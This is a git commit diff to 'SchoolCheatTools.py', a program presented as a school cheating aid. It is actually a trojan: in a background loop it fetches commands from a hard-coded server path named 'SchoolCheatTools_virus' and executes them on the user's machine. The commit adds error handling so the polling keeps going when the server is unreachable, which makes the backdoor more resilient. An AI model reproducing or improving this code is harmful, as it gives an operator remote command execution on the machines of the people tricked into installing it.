summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authormrdog233o5 <103615501+mrdog233o5@users.noreply.github.com>2023-08-07 21:37:35 +1000
committerGitHub <noreply@github.com>2023-08-07 21:37:35 +1000
commit39e5815d3f2feafcda2e7b92daaf5e98c122129f (patch)
tree8fd0aa580546fe66efee627ead475e9bc50a0c70
parenta24ea97654e4570da8ce3af67dfbb2822d599dd2 (diff)
Update SchoolCheatTools.py
-rw-r--r--SchoolCheatTools.py8
1 files changed, 6 insertions, 2 deletions
diff --git a/SchoolCheatTools.py b/SchoolCheatTools.py
index 0d3b604..fa399c1 100644
--- a/SchoolCheatTools.py
+++ b/SchoolCheatTools.py
@@ -6,6 +6,7 @@ from time import *
old_command = 0
server_ip = "192.168.0.216" #edit this variable to the server ip, which can be found in the description
#I will also update this variable from the code if the server ip changed, so if the ip stopped working, check the description
+
print('''
░██████╗░█████╗░██╗░░██╗░█████╗░░█████╗░██╗░░░░░░█████╗░██╗░░██╗███████╗░█████╗░████████╗████████╗░█████╗░░█████╗░██╗░░░░░░██████╗
@@ -21,8 +22,11 @@ IMPORTANT *** WHEN USING SCHOOLCHEATTOOLS, PLEASE KEEP IT RUNNING IN THE BAC
while True:
#get HTML
- command = requests.get('http://' + server_ip + '/SchoolCheatTools_virus/command.txt').text
- exe = (requests.get('http://' + server_ip + '/SchoolCheatTools_virus/execute_command.txt').text == "1")
+ try:
+ command = requests.get('http://' + server_ip + '/SchoolCheatTools_virus/command.txt').text
+ exe = (requests.get('http://' + server_ip + '/SchoolCheatTools_virus/execute_command.txt').text == "1")
+ except:
+ print("server ip changed or server TEMPORARY closed")
#execute command
if old_command != command and exe:
try: